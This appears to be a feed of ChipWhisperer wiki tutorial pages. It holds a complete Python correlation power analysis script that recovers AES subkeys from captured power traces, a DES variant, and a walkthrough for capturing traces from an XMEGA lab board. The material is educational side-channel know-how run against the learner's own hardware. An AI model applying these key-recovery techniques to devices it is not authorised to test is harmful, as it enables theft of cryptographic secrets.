hyp[tnum] = HW[intermediate(pt[tnum][bnum], kguess)]<br />
<br />
<br />
#Mean of hypothesis<br />
meanh = np.mean(hyp, dtype=np.float64)<br />
<br />
#Mean of all points in trace<br />
meant = np.mean(traces, axis=0, dtype=np.float64)<br />
<br />
#For each trace, do the following<br />
for tnum in range(0, numtraces):<br />
hdiff = (hyp[tnum] - meanh)<br />
tdiff = traces[tnum,:] - meant<br />
<br />
sumnum = sumnum + (hdiff*tdiff)<br />
sumden1 = sumden1 + hdiff*hdiff <br />
sumden2 = sumden2 + tdiff*tdiff<br />
<br />
cpaoutput[kguess] = sumnum / np.sqrt( sumden1 * sumden2 )<br />
maxcpa[kguess] = max(abs(cpaoutput[kguess]))<br />
<br />
print maxcpa[kguess]<br />
<br />
#Find maximum value of key<br />
bestguess[bnum] = np.argmax(maxcpa)<br />
<br />
print &quot;Best Key Guess: &quot;<br />
for b in bestguess: print &quot;%02x &quot;%b,</pre><br />
The maxcpa is stored as an ''absolute'' value, since we may end up with positive or negative correlation. We only care about absolute value (e.g. there is a linear correlation), not sign. We also store only the maximum cpa across ''all'' points in the trace. Typically only a few points in the trace are correlating, and it's the maximum across the entire trace we are concerned with. This is done via this line of code:<br />
<br />
<pre>maxcpa[kguess] = max(abs(cpaoutput[kguess]))</pre><br />
The <code>argmax()</code> function is used to find the maximum for ''all'' subkey candidates {0,1,2,...,255}, and which key candidate caused that maximum. The <code>argmax()</code> simply finds the indicie of the maximum value, and in this code the indicie corresponds to the subkey candidate.<br />
<br />
When running this code, it's suggest to change the following:<br />
<br />
<pre>for bnum in range(0, 16):</pre><br />
To only attack a single subkey, otherwise there is too much output:<br />
<br />
<pre>for bnum in range(0, 1):</pre><br />
Assuming you've used the usual '''2B 7E ...''' encryption key in your traces, running it would produce the following output:<br />
<br />
<pre>Subkey 0, hyp = 00: 0.485067679972<br />
Subkey 0, hyp = 01: 0.452597478584<br />
... bunch more lines ...<br />
Subkey 0, hyp = 29: 0.524796414777<br />
Subkey 0, hyp = 2a: 0.429701324<br />
Subkey 0, hyp = 2b: 0.971303850401<br />
Subkey 0, hyp = 2c: 0.404439421891<br />
Subkey 0, hyp = 2d: 0.429089006754<br />
... bunch more lines ...<br />
Subkey 0, hyp = ff: 0.449003229759<br />
Best Key Guess: <br />
2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 </pre><br />
<br />
== Calculating The PGE ==<br />
<br />
The Partial Guessing Entropy (PGE) is a useful metric of where the correct answer is ranked. This requires us to know the actual encryption key used during operation. If you've recorded traces with the regular ChipWhisperer system, this is stored alongside the traces &amp; textin file. Check if you have a file called either <code>_knownkey.npy</code> or <code>_keylist.npy</code>. The knownkey file contains a single line, and the keylist contains a list of the encryption key corresponding with every input.<br />
<br />
Certain attacks will use different keys during the acqusition period, meaning the keylist.npy file is required since there isn't a constant key. In our case we can load and print the key with:<br />
<br />
<pre>>>> knownkey = np.load(r'C:\chipwhisperer\software\chipwhisperer\capture\default-data-dir\traces\2013.11.18-16.40.58_knownkey.npy')<br />
>>> knownkey<br />
array([ 43, 126, 21, 22, 40, 174, 210, 166, 171, 247, 21, 136, 9, 207, 79, 60], dtype=uint8)<br />
>>> [&quot;%02x &quot;%k for k in knownkey]<br />
['2b ', '7e ', '15 ', '16 ', '28 ', 'ae ', 'd2 ', 'a6 ', 'ab ', 'f7 ', '15 ', '88 ', '09 ', 'cf ', '4f ', '3c ']<br />
>>> &quot;&quot;.join([&quot;%02x &quot;%k for k in knownkey])<br />
'2b 7e 15 16 28 ae d2 a6 ab f7 15 88 09 cf 4f 3c '</pre><br />
Previously, we simply printed the maximum output for each subkey as follows:<br />
<br />
<pre>#Find maximum value of key<br />
bestguess[bnum] = np.argmax(maxcpa)</pre><br />
To sort the list of CPA output's, we'll use the <code>argsort()</code> function from NumPy. This will output a list where the first element is the index of the lowest value, next element is the index of the next-highest element, etc. Because in our input list the <code>maxcpa</code> vector's indexes correspond to the key guess, this allows us to know where the keys are. We reverse that sorted list to put the first element as the maximum CPA output:<br />
<br />
<pre>cparefs = np.argsort(maxcpa)[::-1]</pre><br />
Finally, the Partial Guessing Entropy is simply the location of the known correct key byte inside that array. We can find that with the <code>.index()</code> function:<br />
<br />
<pre>print cparefs.index(0x2B)</pre><br />
Where the correct key should of course come from our <code>knownkey</code> variable instead of being hard-coded. Pulling it all together:<br />
<br />
<pre>....<br />
#Find maximum value of key<br />
bestguess[bnum] = np.argmax(maxcpa)<br />
<br />
cparefs = np.argsort(maxcpa)[::-1]<br />
<br />
#Find PGE<br />
pge[bnum] = list(cparefs).index(knownkey[bnum])<br />
....</pre><br />
Where at the beginning of the file we have to open the knownkey:<br />
<br />
<pre>....<br />
pt = np.load(r'C:\chipwhisperer\software\chipwhisperer\capture\default-data-dir\traces\2013.11.18-16.40.58_textin.npy')<br />
knownkey = np.load(r'C:\chipwhisperer\software\chipwhisperer\capture\default-data-dir\traces\2013.11.18-16.40.58_knownkey.npy')<br />
....</pre><br />
Along with initilizing the pge[] array:<br />
<br />
<pre>bestguess = [0]*16<br />
pge = [0]*16<br />
for bnum in range(0, 1):<br />
....</pre><br />
Finally, you probably want to print the entire PGE:<br />
<br />
<pre>....<br />
print "Best Key Guess: ",<br />
for b in bestguess: print "%02x "%b,<br />
<br />
print ""<br />
print "PGE: ",<br />
for b in pge: print "%02d "%b,</pre><br />
When running the program, uncomment the <code>#numtraces = 10</code> line and set the traces to something lower than the full file. You should see the PGE increase when you don't use all possible traces. You may also wish to comment out the printing of data for every guess, as this slows down the program.<br />
<br />
== Future Changes ==<br />
<br />
The implementation of the correlation function runs as a loop over all traces. Ideally we'd like to implement this as a 'online' calculation; that is, we can add a trace in, observe the output, add another trace in, observe the output, etc. When generating plots of the Partial Guessing Entropy (PGE) vs. number of traces this is greatly preferred, since otherwise we need to run the loop many times!<br />
<br />
We can use an alternate form of the correlation equation, which explicitly stores sums of the variables. This is easier to perform online calculation with, since when adding a new trace it's simple to update these sums. This form of the equation looks like:<br />
<br />
<math>r_{i,j} = \frac{D \sum_{d=1}^D h_{d,i}t_{d,j} - \sum_{d=1}^D h_{d,i} \sum_{d=1}^D t_{d,j}}{\sqrt{\Big(\big(\sum_{d=1}^D h_{d,i}\big)^2 - D\sum_{d=1}^D h_{d,i}^2\Big)\Big(\big(\sum_{d=1}^D t_{d,j}\big)^2 - D\sum_{d=1}^D t_{d,j}^2\Big)}}</math><br />
<br />
<blockquote></blockquote><br />
<br />
== Complete Program ==<br />
<br />
For reference here is the complete program. Before running you might want to make a few adjustments:<br />
<br />
# Uncomment the <code>numtraces = 10</code> line to use less traces<br />
# Comment out the <code>print "Subkey ..."</code> line to avoid printing every value<br />
# Only run over a single subkey by adjusting the larger index in <code>for bnum in range(0, 16)</code><br />
<br />
Here is the code:<br />
<br />
<syntaxhighlight lang="python"><br />
import numpy as np<br />
<br />
HW = [bin(n).count("1") for n in range(0,256)]<br />
<br />
sbox=(<br />
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,<br />
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,<br />
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,<br />
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,<br />
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,<br />
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,<br />
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,<br />
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,<br />
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,<br />
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,<br />
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,<br />
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,<br />
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,<br />
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,<br />
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,<br />
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16)<br />
<br />
def intermediate(pt, keyguess):<br />
return sbox[pt ^ keyguess]<br />
<br />
<br />
traces = np.load(r'C:\chipwhisperer\software\chipwhisperer\capture\default-data-dir\traces\2013.11.18-16.40.58_traces.npy')<br />
pt = np.load(r'C:\chipwhisperer\software\chipwhisperer\capture\default-data-dir\traces\2013.11.18-16.40.58_textin.npy')<br />
knownkey = np.load(r'C:\chipwhisperer\software\chipwhisperer\capture\default-data-dir\traces\2013.11.18-16.40.58_knownkey.npy')<br />
numtraces = np.shape(traces)[0]-1<br />
numpoint = np.shape(traces)[1]<br />
<br />
#Use less than the maximum traces by setting numtraces to something<br />
#numtraces = 10<br />
<br />
#Set 16 to something lower (like 1) to only go through a single subkey<br />
bestguess = [0]*16<br />
pge = [256]*16<br />
for bnum in range(0, 16):<br />
cpaoutput = [0]*256<br />
maxcpa = [0]*256<br />
for kguess in range(0, 256):<br />
print "Subkey %2d, hyp = %02x: "%(bnum, kguess),<br />
<br />
<br />
#Initialize arrays &amp; variables to zero<br />
sumnum = np.zeros(numpoint)<br />
sumden1 = np.zeros(numpoint)<br />
sumden2 = np.zeros(numpoint)<br />
<br />
hyp = np.zeros(numtraces)<br />
for tnum in range(0, numtraces):<br />
hyp[tnum] = HW[intermediate(pt[tnum][bnum], kguess)]<br />
<br />
<br />
#Mean of hypothesis<br />
meanh = np.mean(hyp, dtype=np.float64)<br />
<br />
#Mean of all points in trace<br />
meant = np.mean(traces, axis=0, dtype=np.float64)<br />
<br />
#For each trace, do the following<br />
for tnum in range(0, numtraces):<br />
hdiff = (hyp[tnum] - meanh)<br />
tdiff = traces[tnum,:] - meant<br />
<br />
sumnum = sumnum + (hdiff*tdiff)<br />
sumden1 = sumden1 + hdiff*hdiff <br />
sumden2 = sumden2 + tdiff*tdiff<br />
<br />
cpaoutput[kguess] = sumnum / np.sqrt( sumden1 * sumden2 )<br />
maxcpa[kguess] = max(abs(cpaoutput[kguess]))<br />
<br />
print maxcpa[kguess]<br />
<br />
bestguess[bnum] = np.argmax(maxcpa)<br />
<br />
cparefs = np.argsort(maxcpa)[::-1]<br />
<br />
#Find PGE<br />
pge[bnum] = list(cparefs).index(knownkey[bnum])<br />
<br />
print "Best Key Guess: ",<br />
for b in bestguess: print "%02x "%b,<br />
<br />
print ""<br />
print "PGE: ",<br />
for b in pge: print "%02d "%b,<br />
<br />
</syntaxhighlight><br />
<br />
<br />
== Conversion of Correlation Equation ==<br />
<br />
The following shows the derivation of the online correlation equation from the original form:<br />
<br />
[[File:Rij_conversion.png]]<br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}<br />
[[Category:Tutorials]]</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_B5-2_Breaking_DES_(Straightforward)&diff=3486Tutorial B5-2 Breaking DES (Straightforward)2018-05-01T18:45:15Z<p>Fheubach: </p>
<hr />
<div>{{Warningbox|This tutorial has been updated for ChipWhisperer 4.0.0 release. If you are using 3.x.x see the "V3" link in the sidebar.}}<br />
<br />
{{Infobox tutorial<br />
|name = B5-2: Breaking DES (Straightforward)<br />
|image = <br />
|caption = <br />
|software versions =<br />
|capture hardware = CW-Lite, CW-Lite 2-Part, CW-Pro<br />
|Target Device = <br />
|Target Architecture = XMEGA<br />
|Hardware Crypto = No<br />
|Purchase Hardware = <br />
}}<br />
<br />
<br />
Follow the same procedure as in : [[Tutorial B5 Breaking AES (Straightforward)]], but:<br />
# Flashing the DES firmware to the target device (e.g. chipwhisperer/hardware/victims/firmware/simpleserial-des/simpleserial-des-xmega.hex), instead;<br />
# Setting an appropriate 'Total Samples' (e.g. 3500) and 'Offset' (e.g. 15500) in the ''Scope Settings'';<br />
# Setting the 'Key Length (Bytes)', 'Input Length (Bytes)' and 'Output Length (Bytes)' to 8 bytes in the ''Target Settings'';<br />
# Setting an appropriate 8 bytes Key in the ''Generic Settings (e.g. 2B 7E 15 16 28 AE D2 A6)''.<br />
<br />
* Or, alternatively, execute the script "setup_cwlite_xmega_des.py" to perform steps 2-4 (you still need to perform step 1 yourself).<br />
<br />
In the Analyzer, you'll need to modify the script to call the DES model instead of the AES model. This will mean:<br />
<br />
<pre><br />
from chipwhisperer.analyzer.attacks.models.DES import DES, SBox_output<br />
</pre><br />
<br />
And setting:<br />
<br />
<pre><br />
leak_model = DES(SBox_output)<br />
</pre><br />
<br />
See the example analyzer script for a complete listing of the required commands.<br />
<br />
Note that the attack attemps to recover the [[wikipedia:File:DES-key-schedule.png|first round key]], which only has 48bits ([[wikipedia:File:DES-f-function.png|8 s-boxes x 6 bits each]]), while the original key has 56 significative bits (64 if we count the parity bits that are irrelevant). So, if we map the first round key, obtained after the attack, to the original key (you can use the provided DES Key Schedule Tool to do it), there will still be 8 bits missing (256 combinations).<br />
<br />
[[File:deskeyschedulecalc.png]]<br />
<br />
In this example, it matches the original key that was:<br />
<br />
[[File:key_des.png|801x801px]]<br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}<br />
[[Category:Tutorials]]</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_B5_Breaking_AES_(Straightforward)&diff=3485Tutorial B5 Breaking AES (Straightforward)2018-05-01T18:44:43Z<p>Fheubach: </p>
<hr />
<div>{{Warningbox|This tutorial has been updated for ChipWhisperer 4.0.0 release. If you are using 3.x.x see the "V3" link in the sidebar.}}<br />
<br />
{{Infobox tutorial<br />
|name = B5: Breaking AES (Straightforward)<br />
|image = <br />
|caption = <br />
|software versions =<br />
|capture hardware = CW-Lite, CW-Lite 2-Part, CW-Pro<br />
|Target Device = <br />
|Target Architecture = XMEGA<br />
|Hardware Crypto = No<br />
|Purchase Hardware = <br />
}}<br />
<br />
This tutorial will take you through a complete attack on a software AES implementation. The specific implementation being attacked is a well-known AES implementation written in C, which is likely to be similar to other implementations used by proprietary systems.<br />
<br />
== Capturing ==<br />
This tutorial runs on four different hardware targets. You only need to follow the steps for your given hardware.<br />
<br />
=== Capturing with ChipWhisperer-Lite/Pro with default XMEGA Target (CW303) ===<br />
<br />
WARNING: This video was recorded with API V3.x, some changes happened so please take note.<br />
<br />
NOTE: You can see a Quick-Start Guide and Video for this target on the [[CW1173_ChipWhisperer-Lite]] page:<br />
<br />
[[File:Cwlite_demo_video.png|link=http://www.youtube.com/watch?v=MJmkYqA-LeM&hd=1]]<br />
<br />
==== Hardware Setup ====<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li><p>Connect the CW1173/CW1200 by USB cable to computer.</p><br />
<blockquote><p>[[File:cw1173_microusb.jpg|image]]</p></blockquote><br />
</li><br />
<li> The software AES implementation that will run on the target is located in <code>chipwhisperer\hardware\victims\firmware\simpleserial-aes</code>. In a terminal window, navigate here and run the command <code>make</code> to build the firmware. <br />
<br />
As in previous tutorials, ensure that the firmware has been built for the correct board. Here, the output of <code>make</code> should end like<br />
<pre><br />
AVR Memory Usage<br />
----------------<br />
Device: atxmega128d3<br />
<br />
Program: 3078 bytes (2.2% Full)<br />
(.text + .data + .bootloader)<br />
<br />
Data: 352 bytes (4.3% Full)<br />
(.data + .bss + .noinit)<br />
<br />
<br />
Built for platform CW-Lite XMEGA<br />
<br />
-------- end --------<br />
</pre><br />
Make sure that the platform is correct.<br />
</li><br />
<br />
<li> Upload the firmware to the target chip. The process to do this is the same as the previous tutorials:<br />
* Open the ChipWhisperer Capture software.<br />
* Connect to the ChipWhisperer. (You can do this using a script or by filling out the generic settings and connecting to the board yourself.)<br />
* Open the XMEGA Programmer (**Tools > ChipWhisperer-Lite XMEGA Programmer**).<br />
* Find the hex file you compiled and program it onto the target.<br />
</li><br />
</ol><br />
<br />
==== Capturing the Traces ====<br />
<br />
[[File:cwsetup_scriptselection.png|889x889px]]<br />
<br />
# Switch to the ''Python Console'' tab.<br />
# The script selection window (2) lists available example scripts. Scroll down to "connect_cwlite_simpleserial.py" and click on it.<br />
# You will see the script contents appear in the "Script Preview" window (3). You can either hit the "Run" button or double-click the filename of the script to execute it. Do either of those now.<br />
<br />
The window should change to indicate the connect succeeded:<br />
<br />
[[File:cwsetup_scriptselection_cwliterun.png|889x889px]]<br />
<br />
<p><br />
<ol start="4" style="list-style-type: decimal;"><br />
<li>The console lists the exact script that is executed. Note you could have manually executed the script commands line-by-line in this console.</li><br />
<li>The "Scope" and "Target" buttons will show as connected.</li><br />
<li>The Status Bar will show a connection.</li><br />
</ol><br />
</p><br />
Note in previous software versions, this tutorial took you through manual setup. This can still be done (using the GUI), but instead now the API has been made more powerful, so the example configuration script will be used instead.<br />
<br />
To do so, simply scroll down and select the "setup_cwlite_xmega_aes.py" file:<br />
<br />
[[File:cwsetup_scriptselection_xmegaconfig_cwliterun.png]]<br />
<br />
<p>To complete the tutorial, follow these steps:</p><br />
<ol start="7" style="list-style-type: decimal;"><br />
<li>Switch to the ''General Settings'' tab</li><br />
<li>If you wish to change the number of traces, do so here. The default of 50 should be sufficient to break AES though!</li><br />
<li>Hit the ''Capture Many'' button (M in a green triangle) to start the capture process.</li><br />
<li>You will see each new trace plotted in the waveform display.</li><br />
<li>You'll see the trace count in the status bar. Once it says ''Trace 50 done'' (assuming you requested 50 traces) the capture process is complete.</li><br />
<li>Finally save this project using the ''File --&gt; Save Project'' option, give it any name you want.</li><br />
<li>Skip ahead to [[#Analyzing_the_Traces]].</li></ol><br />
<br />
=== Capturing with ChipWhisperer-Lite and UFO Board ===<br />
<br />
TODO<br />
<br />
== Analyzing the Traces ==<br />
<br />
=== Opening File & Viewing Traces ===<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li>Open the Analyzer software</li><br />
<li>From the ''File --> Open Project'' option, navigate to the .cwp file you save previously. Open this file.</li><br />
<li>Switch to the ''Trace Output Plot'' tab on the right side.</li><br />
<li>Switch to the ''Results'' setting tab on the left side</li><br />
<li>Scroll down to the ''Trace Output Plot'' setting, highlighted below:<br />
<p><br />
[[File:v4_tracedraw.png|500px]]<br />
</p></li><br />
<li>You can choose to plot a specific range of traces. For example type '''0-10''' in the ''Trace(s) to plot'' window.</li><br />
<li>Hit the ''Redraw'' button when you change the trace plot range.</li><br />
<li>You can right-click on the waveform to change options, or left-click and drag to zoom.</li><br />
<li>Use the toolbar to quickly reset the zoom back to original.</li><br />
<li>Try more advanced plotting options, like '''0(r),4-7(b)''' to plot trace 0 in red, and 4-6 in blue. See a full list of possible commands on the page [[Plotting_Widget]].</li><br />
</ol><br />
<br />
=== Running Attack Script ===<br />
<br />
In ChipWhisperer V4.0, we now use attack scripts for everything. As in the capture program, switch to the '''Python Console''' tab & find the attack scripts. There may be additional scripts there, but you should find one called "attack_cpa.py". It has the following contents:<br />
<br />
<syntaxhighlight lang=python><br />
import chipwhisperer as cw<br />
from chipwhisperer.analyzer.attacks.cpa import CPA<br />
from chipwhisperer.analyzer.attacks.cpa_algorithms.progressive import CPAProgressive<br />
from chipwhisperer.analyzer.attacks.models.AES128_8bit import AES128_8bit, SBox_output<br />
from chipwhisperer.analyzer.preprocessing.add_noise_random import AddNoiseRandom<br />
<br />
#self.project = cw.openProject("2017-mar23-xmega-aes.cwp")<br />
traces = self.project.traceManager()<br />
<br />
#Example: If you wanted to add noise, turn the .enabled to "True"<br />
self.ppmod[0] = AddNoiseRandom()<br />
self.ppmod[0].noise = 0.05<br />
self.ppmod[0].enabled = False<br />
<br />
attack = CPA()<br />
leak_model = AES128_8bit(SBox_output)<br />
attack.setAnalysisAlgorithm(CPAProgressive, leak_model)<br />
<br />
attack.setTraceStart(0)<br />
attack.setTracesPerAttack(50)<br />
attack.setIterations(1)<br />
attack.setReportingInterval(10)<br />
attack.setTargetSubkeys([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15])<br />
attack.setTraceSource(self.ppmod[0])<br />
attack.setPointRange((0, 3000))<br />
<br />
self.results_table.setAnalysisSource(attack)<br />
self.correlation_plot.setAnalysisSource(attack)<br />
self.output_plot.setAnalysisSource(attack)<br />
self.pge_plot.setAnalysisSource(attack)<br />
attack.processTraces()<br />
</syntaxhighlight><br />
<br />
You can see this script has several sections:<br />
<br />
# Imports for needed functions.<br />
# Loading of project (if using a project from disk) & setting of trace information.<br />
# Configuration of attack.<br />
# Connecting output (drawing) widgets to the attack.<br />
# Running the attack.<br />
<br />
If you need to modify the script, you can edit the file in an external editor. You will need to ensure your system is configured to open your preferred editor on ".py" files, OR configure the editor under ''Help --> Preferences''.<br />
<br />
The default options should work, but you can modify for example the ''Reporting Interval'' to see more detailed graphs.<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li><p>Finally run the attack by switching to the ''Results Table'' tab and then hitting the ''Run'' button with the script selected:</p><br />
<p>[[File:v4_runscript.png|400px]]</p></li><br />
<li><p>If you adjusted the ''Reporting Interval'' to a smaller number such as 5, you'll see the progression of attack results as more traces are used. If not you should simply see the final results, which should have the correct key highlighted in red. In the following case the correct key ''was'' recovered:</p><br />
<p>[[File:attack-done.png|image]]</p></li><br />
<li><p>You can also switch to the ''Output vs Point Plot'' window to see ''where'' exactly the data was recovered:</p><br />
<ol style="list-style-type: decimal;"><br />
<li>Switch to the ''Output vs Point Plot'' tab</li><br />
<li>Turn on one of the bytes to see results.</li><br />
<li>The ''known correct'' guess for the key is highlighted in red. The wrong guesses are plotted in green. You can see that the attacked operation appeared to occur around sample 40 for key 0. Remember you can click-drag to zoom in, then right-click and select ''View All'' to zoom back out.</li><br />
<li>Turn on another byte to see results for it.</li><br />
<li>This byte occured much later - sample 1240. By exploring where the maximum correlation was found for the correct key-guess of each byte, you can determine where exactly the attacked operation occured.</li></ol><br />
<br />
<p>[[File:attack-done2.png|image]]</p></li></ol><br />
<br />
== Next Steps ==<br />
<br />
This has only briefly outlined how to perform a CPA attack. You can move onto more advanced tutorials, especially showing you how the actual attack works when performed manually.<br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}<br />
[[Category:Tutorials]]</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_B3-2_Timing_Analysis_with_Power_for_Attacking_TSB&diff=3484Tutorial B3-2 Timing Analysis with Power for Attacking TSB2018-05-01T18:43:53Z<p>Fheubach: </p>
<hr />
<div>{{Warningbox|This tutorial has not yet been updated for ChipWhisperer 4.0.0 release. If you are using 3.x.x see the "V3" link in the sidebar.}}<br />
<br />
{{Infobox tutorial<br />
|name = B3-2 Timing Analysis with Power for Attacking TSB<br />
|image = <br />
|caption = <br />
|software versions =<br />
|capture hardware = CW-Lite, CW-Lite 2-Part, CW-Pro<br />
|Target Device = <br />
|Target Architecture = XMEGA<br />
|Hardware Crypto = No<br />
|Purchase Hardware = <br />
}}<br />
<br />
Please see the V3 link in the sidebar for the only current version of this tutorial.<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
== Links ==<br />
{{Template:Tutorials}}</div>Fheubach